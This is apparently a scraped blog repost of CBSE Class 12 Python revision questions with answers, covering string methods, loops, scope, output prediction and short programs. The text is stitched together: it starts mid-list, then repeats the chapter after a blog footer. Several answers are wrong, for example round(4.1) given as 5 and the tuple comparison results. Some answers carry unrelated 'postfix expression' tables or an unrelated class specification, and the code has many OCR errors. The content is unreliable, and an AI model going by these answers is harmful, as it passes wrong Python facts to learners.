Question 37.Explain find() function?Answer:find (sub[,start[,end]])This function is used to search the first occurrence of the substring in the given string.It returns the index at which the substring starts. It returns -1 if the substring doesn’t occur in the string.
(eg) str = “computer” - str.findf("om”) → 1
Question 38.What are the differences between arrays and lists?Answer:An array holds fixed number of values. List is of variable-length – elements can be dynamically added or removedAn array holds values of a single type. List in Python can hold values of mixed data type.
Question 39.What is the difference between a tuple and a list?Answer:A tuple is immutable whereas a list is a mutable.A tuple cannot be changed whereas a list can be changed internally.A tuple uses parenthess (()) whereas a list uses square brackets ([]).tuple initialization: a = (2, 4, 5)list initialization: a = [2, 4, 5]
Question 40.Carefully observe the following python code and answer the question that follows:x=5def func2():x=3global xx=x+1print xprint xOn execution the above code produces the following output.63Explain the output with respect to the scope of the variables.Answer:Names declared with global keyword have to be referred at the file level. This is because the global scope.If no global statement is being used the variable with the local scope is accessed.Hence, in the above code the statement succeeding the statement global x informs Python to incrementthe global variable xHence, the output is 6 i.e. 5 + 1 which is also the value for global x.When x is reassingned with the value 3 the local x hides the global x and hence 3 printed.(2 marks for explaning the output) (Only 1 mark for explaining global and local namespace.)
Question 41.Explain the two strategies employed by Python for memory allocation. [CBSE SQP 2016]Answer:Pythonuses two strategies for memory allocation-(i) Reference counting(ii) Automatic garbage collectionReference Counting: works by counting the number of times an object is referenced by other in the system.When an object’s reference count reaches zero, Python collects it automatically.Automatic Garbage Collection: Python schedules garbage collection based upon a threshold of object allocations and object deallocations. When the number of allocations minus the number of deallocations are greater that the threshold number, the garbage collector is run and the unused blocks of memory is reclaimed.
TOPIC – 2Writing Python Programs
Question 1.Rewrite the following code in Python after removing all syntax errors(s). Underline each correction done in the code. [CBSE Delhi-2016]for Name in [Amar, Shveta, Parag]if Name [0] = ‘s’:Print (Name)Answer:
for Name in [“_Amar”, ”_Shveta_” , "_Parag_”] : if Name [0] E == ‘S’ : Print (Name)
Question 2.Rewrite the following code is Python after removing all syntax errors(s).Underline each correction done in the code. [CBSE Outside Delhi-2016]for Name in [Ramesh, Suraj, Priya]if Name [0] = ‘S’:Print (Name)Answer:
for Name in [“_Ramesh_”, “_Suraj_” , “_Priya_”] if Name [0] =_=‘S’ : print (Name)
Question 3.What will be the output of the following python code considering the following set of inputs?AMARTHREEA1231200Also, explain the try and except used in the code.Start = 0while True :Try:Number = int (raw input (“Enter Number”))breakexcept valueError : start=start+2print (“Re-enter an integer”)Print (start)Answer:Output:
Enter Number AMAR Re-enter an integer Enter Number THREE Re-enter an integer Enter Number A123 Re-enter an integer Enter Number 12006
Explanation : The code inside try makes sure that the valid number is entered by the user.When any input other an integer is entered, a value error is thrown and it prompts the user to enter another value.
Question 4.Give the output of following with justification. [CBSE SQP 2015]
x = 3 x+ = x-x print x
Answer:Output: 3Working:
x = 3 x = (x+ x-x ):x = 3 + 3 - 3 = 3
Question 5.What will be printed, when following Python code is executed? [CBSE SQP 2015]
class person: def init (self,id): self.id = id arjun = person(150) arjun. diet [‘age’] = 50 print arjun.age + len(arjun. diet )
Justify your answer.Answer:52arjun.age = 50arjun.dict has 2 attributes so length of it is 2. So total = 52.
Question 6.What would be the output of the following code snippets?print 4+9print “4+9”Answer:13 (addition), 49 (concatenation).
Question 7.Highlight the literals in the following programand also predict the output. Mention the types ofvariables in the program.
a=3 b='1' c=a-2 d=a-c e=“Kathy” f=‘went to party.’ g=‘with Sathy’ print a,g,e,f,a,g,“,”,d,g,“,”,c,g,“and his”,e,f
Answer:a, c,d = integerb, e,f,g = stringOutput: 3 with Sathy Kathy, went to party. 3 with Sathy, 2 with Sathy , 1 with Sathy and his Kathy, went to party.
Question 8.What is the result of 4+4/2+2?Answer:4 + (4/2) + 2 = 8.
Question 9.Write the output from the following code: [CBSE Text Book]
x= 10 y = 20 if (x>y): print x+y else: print x-y
Answer:– 10
Question 10.Write the output of the following code:print “Python is an \n interpreted \t Language”Answer:Python is an interpreted Language
Question 11.Write the output from the following code:
s = 0 for I in range(10,2,-2): s+=I print “sum= ",s
Answer:sum= 28
Question 12.Write the output from the following code: [CBSE TextBook]
n = 50 i = 5 s = 0 while i<n: s+ = i i+ = 10 print “i=”,i print “sum=”,s
Answer:
i= 15 i= 25 i= 35 i= 45 i= 55 sum= 125
Question 13.Write the output from the following code: [CBSE TextBook]
n = 50 i = 5 s = 0 while i<n: s+ = i i+ = 10 print “i=”,i print “sum=”,s
Answer:
i= 15 i= 25 i= 35 i= 45 i= 55 sum= 125
Question 14.Observe the following program and answer the question that follows:import randomx = 3N = random, randint (1, x)for 1 in range (N):print 1, ‘#’, 1 + 1a. What is the minimum and maximum number of times the loop will execute?b. Find out, which line of output(s) out of (i) to (iv) will not be expected from the program?i. 0#1ii. 1#2iii. 2#3iv. 3#4Answer:a. Minimum Number = 1Maximum number = 3b. Line iv is not expected to be a part of the output.
Question 15.Observe the following Python code carefully and obtain the output, which will appear on the screen after execution of it. [CBSE SQP 2016]
def Findoutput (): L = "earn" X = " " count = 1 for i in L: if i in ['a', 'e',' i', 'o', 'u']: x = x + 1. Swapcase () else: if (count % 2 ! = 0): x = x + str (len (L[:count])) else: x = x + 1 count = count + 1 print x Findoutput ()
Answer:EA3n
Question 16.Find and write the output of the following Python code:
Number = [9,18,27,36] for N in Numbers: print (N, "#", end = " ") print ()
Answer:
ElementStack of operatorsPostfix Expression1#001#(1#)(1#)2#(1#)(1#2#)1#(2#)(1#2#3#)2#(1#)1#3#(2#)1#2#(3#)1#2#3#
Question 17.What are the possible outcome(s) executed from the following code? Also,specify the maximum and import random. [CBSE Delhi 2016]
PICK=random.randint (0,3) CITY= ["DELHI", "MUMBAI", "CHENNAI", "KOLKATA"]; for I in CITY : for J in range (1, PICK) print (I, end = " ") Print ()
(i)(ii)DELHIDELHIDELHIMUMBAIMUMBAIDELHIMUMBAICHENNAICHENNAIDELHIMUMBAICEHNNAIKOLKATAKOLKATA(iii)(iv)DELHIDELHIMUMBAIMUMBAIMUMBAICHENNAIKOLKATAKOLKATAKOLKATAKOLKATA
Answer:Option (i) and (iii) are possible option (i) onlyPICKER maxval = 3 minval = 0
Question 18.Find and write the output of the following Python code : [CBSE Outside Delhi-2016]
Values = [10,20,30,40] for val in Values: for I in range (1, Val%9): print (I," * ", end= " ") print ()
Answer:
ElementStack of operatorsPostfix Expression1*001*(1.*)(1*)2*0(1*2*)1*(1,*)(1*2*3*)2*(2.*)1*3*01*2*(1.*)1*2*3*(2,* )(3,* )
Question 19.Write the output from the following code:
y = 2000 if (y%4==0): print “Leap Year” else: print “Not leap year”
Answer:Leap Year.
Question 20.What does the following print?
for i in range (1,10): for j in'range (1,10): print i * j, print
Answer:1 2 3 4 5 6 7 8 92 4 6 8 10 12 14 16 183 6 9 12 15 18 21 24 274 8 12 16 20 24 28 32 365 10 15 20 25 30 35 40 456 12 18 24 30 36 42 48 547 14 21 28 35 42 49 56 638 16 24 32 40 48 56 64 729 18 27 36 45 54 63 72 81
Question 21.What will be the output of the following statement? Also, justify the answer.
>> print ‘Radhsa’s dress is pretty’.
Answer:SyntaxError: invalid syntax.The single quote needs to be replaced by V to get the expected output.
Question 22.Give the output of the following statements :
>>> str=‘Honesty is the best policy’ >>> str.replace(‘o’,‘*’)
Answer:‘H*nesty is the best p*licy’.
Question 23.Give the output of the following statements :
>> str=‘Hello Python’ >>> str.istitle()
Answer:True.
Question 24.Give the output of the following statements:
>> str=‘Hello Python’ >>> print str.lstrip(“Hel”)
Answer:Hello Python
Question 25.Write the output for the following codes:
A={10:1000,20:2000,30:3000,40:4000,50:5000} print A.items() print A.keys() print A.values()
Answer:[(40,4000), (10,1000), (20,2000), (50,5000), (30,3000)] [40,10, 20, 50, 30] [4000,1000, 2000, 5000, 3000]
Question 26.Write the output from the following code:
t=(10,20,30,40,50) print len(t)
Answer:5
Question 27.Write the output from the following code:
t=(‘a’,‘b’,‘c’,‘A’,‘B’) print max(t) print min(t)
Answer:‘c’A’
Question 28.Find the output from the following code:
T=(10,30,2,50,5,6,100,65) print max(T) print min(T)
Answer:1002
Question 29.Write the output from the following code:
T1=(10,20,30,40,50) T2 =(10,20,30,40,50) T3 =(100,200,300) cmp(T1, T2) cmp(T2,T3) cmp(T3,T1)
Answer:0-11
Question 30.Write the output from the following code:
T1=(10,20,30,40,50) T2=(100,200,300) T3=T1+T2 print T3
Answer:(10,20,30,40,50,100,200,300)
Question 31.Find the output from the following code:
t=tuple() t = t +(‘Python’,) print t print len(t) t1=(10,20,30) print len(t1)
Answer:(‘Python’,)13
Question 32.Rewrite the following code in Python after remo¬ving all syntax error(s).Underline each correction done in the code.
for student in [Jaya, Priya, Gagan] If Student [0] = ‘S’: print (student)
Answer:for studednt in values [“Jaya”, “Priya”, “Gagan”]:if student [0] = = “S”print (student)
Question 33.Find and write the output of the following Python code:
Values = [11, 22, 33, 44] for V in Values: for NV in range (1, V%10): print (NV, V)
Answer:1, 112,223,334, 44
Question 34.What are the possible outcome(s) executed from the following code? Also, specify the maximum and minimum values that can be assigned to variable SEL.
import random SEL=random. randint (0, 3) ANIMAL = [“DEER”, “Monkey”, “COW”, “Kangaroo”]; for A in ANIMAL: for AAin range (1, SEL): print (A, end =“”) print ()
(i)(ii)(iii)(iv)DEERDEERDEERDEERDEERMONKEYMONKEYDELHIMONKEYMONKEYMONKEYMONKEYCOWCOWDELHIMONKEYCOWCOWKANGAROOKANGAROOKANGAROOKANGAROOKANGAROOKANGAROO
Answer:Maximum value of SEL is 3.The possible output is belowDEERMonkey MonkeyKangaroo Kangaroo KangarooThus (iv) is the correct option.
TOPIC-3Random Functions
Question 1.What are the possible outcome(s) executed from the following code ? Also specify the maximum and minimum values that can be assigned to variable PICKER. [CBSE Outside Delhi-2016]
import random PICKER = random randint (0, 3) COLOR = ["BLUE", "PINK", "GREEN", "RED"]: for I in COLOR : for J in range (1, PICKER): Print (I, end = " ") Print ()
(i)(ii)(iii) (iv)BLUEBLUEPINKSLUEBLUEPINKBLUEPINKPINKGREENPINKPINKGREENBLUEPINKGREENGREENREDGREENGREENREDBLUEPINKGREENREDREDRED
Answer:Option (i) and (iv) are possibleORoption (i) onlyPICKER maxval = 3 minval = 0
Question 2.What are the possible outcome(s) expected from the following python code? Also specifymaximum and minimum value, which we can have. [CBSE SQP 2015]
def main(): p = ‘MY PROGRAM’ i = 0 while p[i] != ‘R’: l = random.randint(0,3) + 5 print p[l],’-’, i += 1
(i) R – P – O – R –(ii) P – O – R – Y –(iii) O -R – A – G –(iv) A- G – R – M –Answer:Minimum value=5Maximum value=8So the only possible values are O, G, R, AOnly option (iii) is possible.
TOPIC-4Correcting The Errors
Question 1.Rewrite the following Python code after removing all syntax error(s). Underline the corrections done.[CBSE SQP 2015]
def main(): r = raw-input(‘enter any radius : ’) a = pi * math.pow(r,2) print “ Area = ” + a
Answer:
def main (): r = raw_input(‘enter any radius : ’) a = pi * math.pow(r,2) print “ Area = ”, a
Question 2.Rectify the error (if any) in the given statements.
>> str=“Hello Python” >>> str[6]=‘S’
Answer:
str[6] = ‘S’ is incorrect ‘str’ object does not support item assignment. str.replace(str[6],‘S’).
Question 3.Find the errors from the following code:T=[a,b,c]print TAnswer:NameError: name ‘a’ is not defined .T=[‘a’,‘b’,‘c’]
Question 4.Find the errors from the following code:for i in 1 to 100:print IAnswer:for i in range (1,100):print i
Question 5.Find the errors from the following code:
i=10 ; while [i<=n]: print i i+=10
Answer:
i=10 n=100 while (i<=n): print i i+=10
Question 6.Find the errors from the following code:
if (a>b) print a: else if (a<b) print b: else print “both are equal”
Answer:
if (a>b) // missing colon print a: else if (a<b) // missing colon // should be elif print b: else // missing colon print “both are equal"
Question 7.Find errors from the following codes:
c=dict() n=input(Enter total number) i=1 while i<=n: a=raw_input(“enter place”) b=raw_input(“enter number”) c[a]=b i=i+1 print “place”,“\t”,“number” for i in c: print i,“\t”,c[a[i]]
Answer:
c=dict() n=input(‘‘Enter total number”) i=1 while i<=n : a=raw_input(“enter place”) b=raw_inputf enter number”) c[a]=b i=i+1 print “place”,“\t”,“number” for i in c: print i,“\t”,c[i]
Question 8.Observe the following class definition and answer the question that follows : [CBSE SQP 2016]
class info: ips=0 def _str_(self): #Function 1 return "Welcome to the Info Systems" def _init_(Self): self. _ Sstemdate= " " self. SystemTime = " " def getinput (self): self . Systemdate = raw_input ("enter data") self , SystemTime = raw_Input ("enter data") Info, incrips () Estaiomethod # Statement 1 def incrips (): Info, ips, "times" I = Info () I. getinput () Print I. SystemTime Print I. _Systemdate # Statement 2
i. Write statement to invoke Function 1.ii. On Executing the above code, Statement 2 is giving an error explain.Answer:i. print Iii. The statement 2 is giving an error because _ Systemdate is a private variable and hence cannot to be printed outside the class.
TOPIC – 5Short Programs
Question 1.Write a program to calculate the area of a rectangle. The program should get the length and breadth ;values from the user and print the area.Answer:
length = input(“Enter length”) breadth = input(“Enter breadth”) print “Area of rectangle =”,length*breadth
Question 2.Write a program to calculate the roots of a quadratic equation.Answer:
import math a = input(“Enter co-efficient of x^2”) b = input(“Enter co-efficient of x”) c = inputfEnter constant term”) d = b*b - 4*a*c if d == 0: print “Roots are real and equal” root1 = root2 = -b / (2*a) elif d > 0: print “Roots are real and distinct” root1 = (- b + math.sqrt(d)) / (2*a) root2 = (-b - math.sqrt(d)) / (2*a) else: print “Roots are imaginary” print “Roots of the quadratic equation are”,root1,“and”,root2
Question 3.Write a program to input any number and to print all the factors of that number.Answer:
n = inputfEnter the number") for i in range(2,n): if n%i == 0: print i,“is a factor of’.n
Question 4.Write a program to input ,.any number and to check whether given number is Armstrong or not.(Armstrong 1,153,etc. 13 =1, 13+53 +33 =153)Answer:
n = inputfEnter the number”) savedn = n sum=0 while n > 0: a = n%10 sum = sum + a*a*a n = n/10 if savedn == sum: print savedn,“is an Armstrong Number” else: print savedn,”is not an Armstrong Number”
Question 5.Write a program to find all the prime numbers up to a given numberAnswer:
n = input("Enter the number”) i = 2 flag = 0 while (i < n): if (n%i)==0: flag = 1 print n,“is composite” break i = i+ 1 if flag ==0 : print n,“is prime”
Question 6.Write a program to convert decimal number to binary.Answer:
i=1 s=0 dec = int ( raw_input(“Enter the decimal to be converted:”)) while dec>0: rem=dec%2 s=s + (i*rem) dec=dec/2 i=i*10 print “The binary of the given number is:”,s raw_input()
Question 7.Write a program to convert binary to decimalAnswer:
binary = raw_input(“Enter the binary string”) decimal=0 for i in range(len(str(binary))): power=len (str (binary)) - (i+1) decimal+=int(str(binary)[i])*(2**power) print decimal
Question 8.Write a program to input two complex numbers and to find sum of the given complex numbers.Answer:
areal = input("Enter real part of first complex number”) aimg = input("Enter imaginary part of first complex number”) breal = input("Enter real part of second complex number”) bimg = input("Enter imaginary part of second complex number”) totreal = areal + breal totimg = aimg + bimg print “Sum of the complex numbers=",totreal, “+i”, totimg
Question 9.Write a program to input two complex numbers and to implement multiplication of the given complex numbers.Answer:
a = input("Enter real part of first complex number”) b = input("Enter imaginary part of first complex number”) c = input("Enter real part of second complex number”) d = input("Enter imaginary part of second complex number”) real= a*c - b*d img= a*d + b*c print “Product of the complex numbers=",real, “+i”,img
Question 10.Write a program to find the sum of all digits of the given number.Answer:
n = inputfEnter the number”) rev=0 while (n>0): a=n%10 sum = sum + a n=n/10 print “Sum of digits=”,sum
Question 11.Write a program to find the reverse of a number.Answer:
n = input("Enter the number”) rev=0 while (n>0): a=n%10 rev=(rev*10)+a n=n/10 print “Reversed number=”,rev
Question 12.Write a program to print the pyramid.12 23 3 34 4 4 45 5 5 5 5Answer:
for i in range(1,6): for j in range(1,i+1): print i, print
Question 13.Write a program to input username and password and to check whether the given username and password are correct or not.Answer:
import string usemame= raw_input(“Enter username”) password = raw_input(“Enter password”) if cmp(username.strip(),“XXX”)== 0: if cmp(password,”123”) == 0: print “Login successful” else: print “Password Incorrect” else: print “Username Incorrect”
Question 14.Write a generator function generatesq () that displays the squareroots of numbers from 100 to nwhere n is passed as an argument.Answer:
import math def generatesq (n) : for i in range (100, n) : yield (math, sqrt (i))
Question 15.Write a method in Python to find and display the prime number between 2 to n.Pass n as argument to the method.Answer:
def prime (N) : for a in range (2, N): for I in range (2, a): if N%i ==0 : break print a OR def prime (N): for a in range (2, N): for I in range (2, a) : if a%1= = 0 : break else : print a
Question 16.Write a program to input username and password and to check whether the given username and password are correct or not.Answer:
import string usemame= raw_input(“Enter username”) password = raw_input(“Enter password”) if cmp(usemame.strip(),“XXX”)== 0: if cmp(password,”123”) == 0: print “Login successful” else: print “Password Incorrect” else: print “Username Incorrect”
Question 17.Which string method is used to implement the following: [CBSE Text Book]
To count the number of characters in the string.
To change the first character of the string in capital letter.
To check whether given character is letter or a number.
To change lowercase to uppercase letter.
Change one character into another character.
Answer:
len(str)
str.title() or str.capitalize()
str.isalpha and str.isdigit()
lower(str[i])
str.replace(char, newchar)
Question 18.Write a program to input any string and to find the number of words in the string.Answer:
str = “Honesty is the best policy” words = str.split() print len(words)
Question 19.Write a program to input n numbers and to insert any number in a particular position.Answer:
n=input(“Enter no. of values") num=[] for i in range (n): number=input(“Enter the number") num.append(number) newno = input(“Enter the number to be inserted”) pos = input(“Enter position”) num.insert(newno,pos) print num
Question 20.Write a program to input n numbers and to search any number from the list.Answer:
n=input(“Enter no. of values”) num=[] flag=0 for i in range (n): number=input(“Enter the number”) num. append(number) search = input(“Enter number to be searched") for i in range(n): if num[i]==search: print search,“found at position”,i flag=1 if flag==0: print search, “not found in list”
Question 21.Write a program to search input any customer name and display customer phone numberif the customer name is exist in the list.Answer:
def printlist(s): i=0 for i in range(len(s)): print i,s[i] i = 0 phonenumbers = [‘9840012345’,‘9840011111’,’ 9845622222’,‘9850012345’,‘9884412345’] flag=0 number = raw_input(“Enter the phone number to be searched") number = number.strip() try: i = phonenumbers.index(number) if i >= 0: flag=1 except ValueError: pass if(flag <>0): print “\nphone number found in Phonebook at index”, i else: print'\iphonenumbernotfoundin phonebook” print “\nPHONEBOOK” printlist(phonenumbers)
Question 22.Write a program to input n numbers and to reverse the set of numbers without using functions.Answer:
n=input(“Enter no. of values”) num=[] flag=0 for i in range (n): number=input(“Enter the number”) num. append(number) j=n-1 for i in range(n): if i<=n/2: num[i],num[j] = num[j],num[i] j=j-1 else: break print num
Question 23.Find and write the output of the following Python code: [CBSE Complementry-2016]
class Client: def init (self, ID = 1, NM=”Noname”) # constructor self.CID = ID self. Name = NM def Allocate (self, changelD, Title) : self.CID = self.CID + Changeld self.Name = Title + self. Name def Display (self) : print (self. CID). "#”, self. Name) C1 = Client () C2 = Client (102) C3 = Client (205, ‘’Fedrick”) C1 . Display () C2 . Display () C3 . Display () C2 . Allocate (4, "Ms.”) C3 .Allocate (2, "Mr.”) C1. Allocate (1, "Mrs.”) C1. Display () C2 . Display () C3 . Display ()
Answer:
CID Name — Fedrick 102 Mr. Fedrick 205 Mrs. Fedrick — Mr. & Mrs. Fedrick
Question 24.What will be the output of the following Python code considering the following set of inputs?
MAYA Your 5 Apples Mine2 412 Also, explain the try and except used in the code. Count = 0 while True : try: Number=int (raw input ("Input a Number :")) break Except valueError : Count=Count + 2 # For later versions of python, raw_input # Should be consider as input
mehtods:– DenCal () # Method to calcualte Density as People/Area– Add () # Method to allow user to enter values Dcode, DName, People, Area and Call DenCal () Mehtod– View () # Method to display all the data members also display a message “”High Population”if the Density is more than 8000.Answer:Output is below2 Re Enter Number10 Re Enter Number5 Input = Number3 Input = numberTry and except are used for handling exception in the Pythan code.
Question 25.Write a method in Python and display the prime numbers between 2 to N. Pass as argument to the methods.Answer:
def prime (N) : for a in range (2, N) Prime=1 for I in range (2, a): if a%i= = 0 : Prime = 0 if Prime = = 1: print a OR def prime (N) : for a in range (2, N): for I in range (2, a) : if a%i = = 0: break else : print a OR Any other correct code performing the same
Long Answer Type Questions (6 marks)
Question 1.Aastha wnats to create a program that accepts a string and display the characters in the reversein the same line using a Stack. She has created the following code, help her by completing thedefinitions on the basis of requirements given below:[CBSE SQP 2016]
Class mystack : def inin (self): selfe. mystr= # Accept a string self.mylist= # Convert mystr to a list # Write code to display while removing element from the stack. def display (self) : : :
Answer:
class mystack : def _init_ (self) : self.myster= rawjnput ("Enter the string”) self.mylist = list (self.mystr) def display (self) : x = len (self. mylist) if (x > 0) : for i in range (x) : print self.mylist.pop (), else : print "Stack is empty”
via Blogger https://ift.tt/3kkMk05
0 notes
margdarsanme · 5 years ago
Text
NCERT Class 12 Computer Science Chapter 1 Review of Python
NCERT Class 12 Computer Science Python Solutions for Chapter 1 :: Review of Python
TOPIC-1
Python Basics
Very Short Answer Type Questions(1 mark)
Question 1.Name the Python Library modules which need to be imported to invoke the following functions:
load ()
pow () [CBSE Delhi 2016]
Answer:
pickle
math
Question 2.Name the modules to which the following func-tions belong:
Uniform ()
fabs () [CBSE SQP 2016]
Answer:
random ()
math ()
Question 3.Differentiate between the round() and floor() functions with the help of suitable example.[CBSE Comptt. 2016]Answer:The function round() is used to convert a fractional number into whole as the nearest next whereas the function floor() is used convert to the nearest lower whole number, e.g.,round (5.8) = 6, round (4.1) = 5 and floor (6.9) = 6, floor (5.01) = 5
Short Answer Type Questions (2 marks):
Question 1.Out of the following, find those identifiers, which cannot be used for naming Variables or functions in a Python program:Total * Tax, While, Class, Switch, 3rd Row, finally, Column 31, Total. [CBSE Outside Delhi-2016]Answer:Total * Tax, class, 3rd Row, finally
Question 2.Name the Python Library modules which need to be imported to invoke the follwing functions :
sqrt()
dump() (CBSE Outside Delhi-2016)
Answer:
math
pickle
Question 3.Out of the following, find the identifiers, which cannot be used for naming Variable or Functions in a Python program: [CBSE Delhi 2016]_Cost, Price*Qty, float, switch, Address one, Delete, Number12, doAnswer:Price *Qty, float, Address one, do
Question 4.Out of the following find those identifiers, which can not be used for naming Variable or Functions in a Python Program:Days * Rent, For, A_price, Grand Total, do, 2Clients, Participantl, My cityAnswer:Illegal variables or functions name are as below: Days * Rent, do, 2Clients, For and Grant Total Because of being either keyword or including space or operator or starting with integar.
Question 5.Name the function / method required for [CBSE SQP 2015]
Finding second occurrence of m in madam.
get the position of an item in the list.
Answer:
find
index
Question 6.Which string method is used to implement the following:
To count the number of characters in the string.
To change the first character of the string in capital letter.
To check whether given character is letter or a number.
To change lowercase to uppercase letter.
Change one character into another character. [CBSE TextBook]
Answer:
len(str)
str.capitalize()
ch.isalnum()
str.upper()
str.replace(old,new)
Question 7.What is the difference between input() and raw_input()?Answer:raw_input() takes the input as a string whereas input() basically looks at what the user enters, and automatically determines the correct type. We use the inputQ function when you are expecting an integer from the end-user, and raw_input when you are expecting a string.
Question 8.What are the two ways of output using print()?Answer:Ordinarily, each print statement produces one line of output. You can end the print statement with a trailing ’ to combine the results of multiple print statements into a single line.
Question 9.Why does the expression 2 + 3*4 result in the value 14 and not the value 24?Answer:Operator precedence rules* make the expression to be interpreted as 2 + (3*4) hence the result is 14.
Question 10.How many times will Python execute the code inside the following while loop? You should answer the question without using the interpreter! Justify your answers.
i = 0 while i < 0 and i > 2 : print “Hello ...” i = i+1
Answer:0 times.
Question 11.How many times will Python execute the code inside the following while loop?
i = 1 while i < 10000 and i > 0 and 1: print “ Hello ...” i = 2 * i
Answer:14.
Question 12.Convert the following for loop into while loop, for i in range (1,100):
if i % 4 == 2 : print i, “mod”, 4 , “= 2”
Answer:
i=1 while i < 100: if i % 4 == 2: print i, “mod”, 4 , “= 2” i = i +1
Question 13.Convert the following for loop into while loop.
for i in range(10): for j in range(i): print '$', print"
Answer:
i=0 while i < 10: j=0 while j < i: print '$’ print"
Question 14.Rewrite the following for loop into while loop: [CBSE Text Book]
for a in range(25,500,25): print a
Answer:
a=25 while a < 500: print a a = a + 25
Question 15.Rewrite the following for loop into while loop: [CBSE Text Book]
for a in range(90, 9, -9): print a
Answer:
a = 90 while a > 9: print a a = a-9
Question 16.Convert the following while loop into for loop:
i = 0 while i < 100: if i % 2 == 0: print i, “is even” else: print i, “is odd” i = i + 1
Answer:
for i in range(100): if i % 2 == 0: print i, “is even” else : print i, “is odd”
Question 17.Convert the following while loop into for loop
char = "" print “Press Tab Enter to stop ...” iteration = 0 while not char == “\t” and not iteration > 99: print “Continue?” char = raw_input() iteration+ = 1
Answer:
char = "" print “Press Tab Enter to stop ...” for iteration in range(99): if not char == ‘\t’: print “Continue?” char = raw_input()
Question 18.Rewrite the following while loop into for loop:
i = 10 while i<250: print i i = i+50
Answer:
for i in range(10, 250, 50): print i
Question 19.Rewrite the following while loop into for loop:
i=88 while(i>=8): print i i- = 8
Answer:
for i in range(88, 9, -8) print i
Question 20.Write for statement to print the series 10,20,30, ……., 300Answer:
for i in range(10, 301, 10): print i
Question 21.Write for statement to print the series 105,98,91,… .7Answer:
for i in range(105, 8, -7): print i
Question 22.Write the while loop to print the series: 5,10,15,…100Answer:
i=5 while i <= 100: print i i = i + 5
Question 23.How many times is the following loop executed? [CBSE Text Book]for a in range(100,10,-10):print aAnswer:9 times.
Question 24.How many times is the following loop executed? [CBSE Text Book]
i = 100 while (i<=200): print i i + =20
Answer:6 times
Question 25.State whether the statement is True or False? No matter the underlying data type if values are equal returns true,
char ch1, ch2; if (ch1==ch2) print “Equal”
Answer:True. Two values of same data types can be equal.
Question 26.What are the logical operators of Python?Answer:or, and, not
Question 27.What is the difference between ‘/’ and ‘//’ ?Answer:
// is Integer or Floor division whereas / is normal division (eg) 7.0 // 2 → 3.0 7.0/2 → 3.5
Question 28.How can we import a module in Python?Answer:1. using import
Syntax: import[,,...] Example: import math, cmath
2. using from
Syntax: fromimport[, ,.. ,] Example: . from fib. import fib, fib2.
Question 29.What is the difference between parameters and arguments?Answer:
S.No.ParametersArguments1Values provided in function headerValues provided in function call.2(eg) def area (r):—> r is the parameter(eg) def main() radius = 5.0 area (radius)—> radius is the argument
Question 30.What are default arguments?Answer:Python allowes function arguments to have default values; if the function is called without the argument, the argument gets its default value
Question 31.What are keyword arguments?Answer:If there is a function with many parameters and we want to specify only some of them in function call,then value for such parameters can be provided by using their names instead of the positions. These are called keyword argument.
(eg) def simpleinterest(p, n=2, r=0.6) ' def simpleinterest(p, r=0.2, n=3)
Question 32.What are the advantages of keyword arguments?Answer:It is easier to use since we need not remember the order of the arguments.We can specify the values for only those parameters which we want, and others have default values.
Question 33.What does “in” do?Answer:“in” is a membership operator. It evaluates to true if it finds a variable/string in the specified sequence :Otherwise i+evaluates to false.
(eg) S = “Hello World" if “Hell” in S: print “True” will print True.
Question 34.What does “not in” do?Answer:“not in” is a membership operator. It evaluates to true if it does not finds a variable/stringin the specified sequence. Otherwise it evaluates to false,
(eg) S = “Hello World” if “Hell” not in S: print “False” will print False.
Question 35.What does “slice” do?Answer:The slice[n:m] operator extracts subparts from a string. It doesn’t include the character at index m.
(eg) S = “Hello World” print s[0:4] → Hell
Question 36.What is the use of negative indices in slicing?Answer:Python counts from the end (right) if negative indices are given.
(eg) S = “Hello” print S[:-3] >> He print S[-3:] >> llo
Question 37.Explain find() function?Answer:find (sub[,start[,end]])This function is used to search the first occurrence of the substring in the given string.It returns the index at which the substring starts. It returns -1 if the substring doesn’t occur in the string.
(eg) str = “computer” - str.findf("om”) → 1
Question 38.What are the differences between arrays and lists?Answer:An array holds fixed number of values. List is of variable-length – elements can be dynamically added or removedAn array holds values of a single type. List in Python can hold values of mixed data type.
Question 39.What is the difference between a tuple and a list?Answer:A tuple is immutable whereas a list is a mutable.A tuple cannot be changed whereas a list can be changed internally.A tuple uses parenthess (()) whereas a list uses square brackets ([]).tuple initialization: a = (2, 4, 5)list initialization: a = [2, 4, 5]
Question 40.Carefully observe the following python code and answer the question that follows:x=5def func2():x=3global xx=x+1print xprint xOn execution the above code produces the following output.63Explain the output with respect to the scope of the variables.Answer:Names declared with global keyword have to be referred at the file level. This is because the global scope.If no global statement is being used the variable with the local scope is accessed.Hence, in the above code the statement succeeding the statement global x informs Python to incrementthe global variable xHence, the output is 6 i.e. 5 + 1 which is also the value for global x.When x is reassingned with the value 3 the local x hides the global x and hence 3 printed.(2 marks for explaning the output) (Only 1 mark for explaining global and local namespace.)
Question 41.Explain the two strategies employed by Python for memory allocation. [CBSE SQP 2016]Answer:Pythonuses two strategies for memory allocation-(i) Reference counting(ii) Automatic garbage collectionReference Counting: works by counting the number of times an object is referenced by other in the system.When an object’s reference count reaches zero, Python collects it automatically.Automatic Garbage Collection: Python schedules garbage collection based upon a threshold of object allocations and object deallocations. When the number of allocations minus the number of deallocations are greater that the threshold number, the garbage collector is run and the unused blocks of memory is reclaimed.
TOPIC – 2Writing Python Programs
Question 1.Rewrite the following code in Python after removing all syntax errors(s). Underline each correction done in the code. [CBSE Delhi-2016]for Name in [Amar, Shveta, Parag]if Name [0] = ‘s’:Print (Name)Answer:
for Name in [“_Amar”, ”_Shveta_” , "_Parag_”] : if Name [0] E == ‘S’ : Print (Name)
Question 2.Rewrite the following code is Python after removing all syntax errors(s).Underline each correction done in the code. [CBSE Outside Delhi-2016]for Name in [Ramesh, Suraj, Priya]if Name [0] = ‘S’:Print (Name)Answer:
for Name in [“_Ramesh_”, “_Suraj_” , “_Priya_”] if Name [0] =_=‘S’ : print (Name)
Question 3.What will be the output of the following python code considering the following set of inputs?AMARTHREEA1231200Also, explain the try and except used in the code.Start = 0while True :Try:Number = int (raw input (“Enter Number”))breakexcept valueError : start=start+2print (“Re-enter an integer”)Print (start)Answer:Output:
Enter Number AMAR Re-enter an integer Enter Number THREE Re-enter an integer Enter Number A123 Re-enter an integer Enter Number 12006
Explanation : The code inside try makes sure that the valid number is entered by the user.When any input other an integer is entered, a value error is thrown and it prompts the user to enter another value.
Question 4.Give the output of following with justification. [CBSE SQP 2015]
x = 3 x+ = x-x print x
Answer:Output: 3Working:
x = 3 x = (x+ x-x ):x = 3 + 3 - 3 = 3
Question 5.What will be printed, when following Python code is executed? [CBSE SQP 2015]
